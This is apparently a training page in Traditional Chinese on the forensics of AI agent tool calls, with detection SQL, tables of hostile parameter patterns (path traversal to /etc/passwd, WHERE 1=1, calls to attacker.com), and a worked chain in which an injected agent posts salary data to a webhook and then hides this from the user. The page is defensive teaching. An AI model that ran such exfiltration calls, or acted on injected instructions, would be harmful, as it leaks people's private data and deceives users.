工具呼叫鑑識
Advanced4 min readUpdated 2026-03-15
代理工具呼叫之鑑識調查:偵測未授權工具使用、分析參數操弄證據、辨識外洩痕跡,並重建代理動作鏈。
工具呼叫鑑識
當 AI 代理具工具存取——搜尋引擎、資料庫、API、程式碼執行器、檔案系統、email 傳送者——事件之影響半徑遠超模型之文字輸出。被入侵之代理可讀取敏感檔案、經 HTTP 請求外洩資料、執行任意程式碼,或於外部系統採取難以或不可能還原之動作。本頁涵蓋工具呼叫日誌之鑑識調查。
工具呼叫證據結構
鑑識上有用之工具呼叫日誌項目,擷取每次呼叫之完整脈絡。
{
"call_id": "tc_001",
"parent_request_id": "req_abc123",
"timestamp": "2026-03-15T14:33:12Z",
"tool_name": "database_query",
"parameters": {
"query": "SELECT * FROM customers WHERE region = 'EU'",
"database": "production_crm"
},
"result": {
"rows_returned": 1847,
"columns": ["name", "email", "phone", "address"],
"truncated": true
},
"authorization": {
"user_id": "user_42",
"permissions": ["read:customers"],
"policy_decision": "allow"
},
"execution_time_ms": 234,
"model_reasoning": "User asked for EU customer contact information for the quarterly report."
}偵測未授權工具使用
合法 vs. 對抗之工具模式
| 指標 | 合法使用 | 對抗使用 |
|---|---|---|
| 工具選擇 | 與使用者所述任務相關之工具 | 與對話主題無關之工具 |
| 參數範圍 | 狹窄、具體之查詢 | 廣泛、萬用或探索性查詢 |
| 資料量 | 與使用者請求成比例 | 不成比例大之資料檢索 |
| 存取模式 | 與使用者角色與權限一致 | 超越使用者正常資料存取範圍 |
| 時序 | 每使用者請求單一呼叫或小鏈 | 快速序列呼叫迭代資源 |
| 結果使用 | 結果納入有益回應 | 結果被摘要/編碼以供擷取 |
未授權工具偵測查詢
-- 偵測與使用者對話主題不匹配之工具呼叫
-- 需對話上之主題標記
SELECT
tc.call_id,
tc.tool_name,
tc.parameters,
tc.timestamp,
c.topic_classification,
tc.user_id
FROM tool_calls tc
JOIN conversations c ON tc.parent_request_id = c.request_id
WHERE tc.tool_name NOT IN (
SELECT expected_tool
FROM topic_tool_mapping
WHERE topic = c.topic_classification
)
ORDER BY tc.timestamp DESC;
-- 偵測每會話異常之工具呼叫量
SELECT
session_id,
user_id,
COUNT(*) AS tool_calls,
COUNT(DISTINCT tool_name) AS distinct_tools,
ARRAY_AGG(DISTINCT tool_name) AS tools_used
FROM tool_calls
WHERE timestamp > NOW() - INTERVAL '24 hours'
GROUP BY session_id, user_id
HAVING COUNT(*) > 20
ORDER BY tool_calls DESC;參數操弄證據
攻擊者操弄工具呼叫參數以擴展超越模型通常會請求之存取。尋找這些模式:
資料庫查詢操弄
| 正常模式 | 對抗模式 | 證據 |
|---|---|---|
WHERE id = 42 | WHERE 1=1 或 WHERE id > 0 | 擴展查詢範圍以回傳所有紀錄 |
SELECT name, email | SELECT * | 請求所有欄位含敏感欄位 |
LIMIT 10 | 無 LIMIT 或 LIMIT 100000 | 移除分頁以批量擷取資料 |
WHERE department = 'sales' | 移除部門過濾 | 跨部門存取 |
檔案系統操弄
| 正常模式 | 對抗模式 | 證據 |
|---|---|---|
read_file("/app/docs/help.md") | read_file("/etc/passwd") | 應用範圍外之路徑穿越 |
list_directory("/app/uploads/user_42/") | list_directory("/") | 自根目錄之目錄枚舉 |
僅 read_file | write_file 或 execute | 經工具切換之權限提升 |
API 呼叫操弄
| 正常模式 | 對抗模式 | 證據 |
|---|---|---|
GET /api/user/me | GET /api/users | 端點修改以存取其他使用者 |
| 標準 header | 加入之 Authorization header | API 呼叫中之憑證注入 |
| 應用內部 URL | 外部 URL(https://attacker.com) | 經對外 HTTP 之資料外洩 |
外洩痕跡
經代理工具呼叫之資料外洩遵循可辨識之模式。
外洩通道
| 通道 | 如何運作 | 偵測 |
|---|---|---|
| 直接輸出 | 模型於對使用者之回應中納入擷取資料 | 模型輸出之內容分析 |
| 對外 HTTP | 代理以外洩資料於參數中呼叫外部 URL | 監控外部 URL 工具呼叫 |
| Email/訊息 | 代理經 email 或訊息工具送出資料 | 稽核所有傳送/分享工具呼叫 |
| 檔案寫入 | 代理將資料寫入使用者可存取之位置 | 監控寫入工具呼叫與輸出路徑 |
| 程式碼執行 | 代理執行作網路請求之程式碼 | 分析執行程式碼之網路操作 |
| 編碼輸出 | 代理將資料編碼(Base64、hex)並以正常輸出呈現 | 偵測輸出中之編碼內容 |
外洩鏈範例
步驟 1:含間接注入之使用者提示觸發偵察
工具:search_internal_docs("employee salary data")
結果:於 HR 知識庫中找到 3 份文件
步驟 2:模型檢索敏感文件
工具:read_document(doc_id="hr_salary_2026")
結果:200 位員工之完整薪資資料
步驟 3:模型經對外 HTTP 外洩
工具:web_request(
url="https://webhook.site/attacker-id",
method="POST",
body="<編碼之薪資資料>"
)
結果:HTTP 200 OK
步驟 4:模型對使用者呈現無害回應
助理:「I found some general information about compensation...」
辨識對外資料流
於工具呼叫日誌搜尋任何將資料送至外部目的之工具:HTTP 請求、email 送出、檔案上傳、webhook 呼叫。這些是最高優先度之外洩風險。
追蹤資料來源
對每個對外流,向後追蹤工具呼叫鏈以辨識模型具存取之資料。跟隨
parent_request_id鏈重建完整序列。量化資料曝露
判定通過外洩通道之資料量與敏感度。計算紀錄數、資料類型與受影響個人。
檢查混淆
檢視經外洩通道送出之資料以找編碼或變換。攻擊者可能於送出前指示模型編碼資料以避免內容過濾器。
代理動作鏈重建
重建代理動作之完整序列揭露完整攻擊敘事。
鏈視覺化
建立會話內工具呼叫之有向圖:
[使用者訊息] → [模型推理] → [工具呼叫 1:search]
↓
[工具結果 1]
↓
[模型推理] → [工具呼叫 2:read_file]
↓
[工具結果 2]
↓
[模型推理] → [工具呼叫 3:web_request]
↓
[工具結果 3]
↓
[對使用者之模型回應]
鏈分析之關鍵問題
| 問題 | 揭露什麼 |
|---|---|
| 什麼觸發第一個工具呼叫? | 攻擊是否源自使用者輸入或注入之脈絡 |
| 模型之推理是否為每個工具呼叫合理化? | 模型是否被操弄或於正常參數內行動 |
| 工具結果是否被餵回至後續工具呼叫? | 資訊如何於代理動作鏈中傳播 |
| 任何工具呼叫是否超越使用者之授權範圍? | 權限邊界是否被違反 |
| 模型生成最終回應時可得何資料? | 最大可能資料曝露 |
工具呼叫鑑識檢查清單
於事件期間調查代理工具呼叫時使用此清單:
| # | 檢查 | 狀態 |
|---|---|---|
| 1 | 列出事件時間視窗內之所有工具呼叫 | |
| 2 | 標記與對話主題不匹配之工具呼叫 | |
| 3 | 檢查參數操弄(萬用查詢、路徑穿越、範圍擴展) | |
| 4 | 辨識所有對外資料流(HTTP、email、檔案寫入) | |
| 5 | 為每個對外流追蹤資料來源 | |
| 6 | 比較模型推理與實際工具參數 | |
| 7 | 檢查每個工具呼叫之授權決策 | |
| 8 | 辨識觸發對抗工具使用之注入來源 | |
| 9 | 量化資料曝露量與敏感度 | |
| 10 | 以時間戳記錄完整工具呼叫鏈 |
相關主題
- 代理與代理式攻擊 -- 理解代理攻擊技術
- 提示日誌鑑識 -- 分析觸發工具呼叫之提示
- 資料外洩 IR playbook -- 回應已確認之外洩
- 證據保存 -- 保存工具呼叫證據
參考資料
- "Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection" - Greshake et al.(2023)- 經由間接注入之代理攻擊之奠基研究
- "OWASP Top 10 for LLM Applications: LLM07 - Insecure Plugin Design" - OWASP Foundation(2025)- AI 代理中之工具/外掛安全風險
- "MITRE ATLAS Technique T0054: LLM Plugin Compromise" - MITRE Corporation(2025)- 代理工具濫用之標準化技術
Knowledge Check
某代理之工具呼叫日誌顯示它搜尋『salary data』、讀取 HR 文件,然後對外部 webhook 作 HTTP POST。模型對該 HTTP 呼叫之推理說『sending the report summary to the user's webhook』。你應先調查什麼?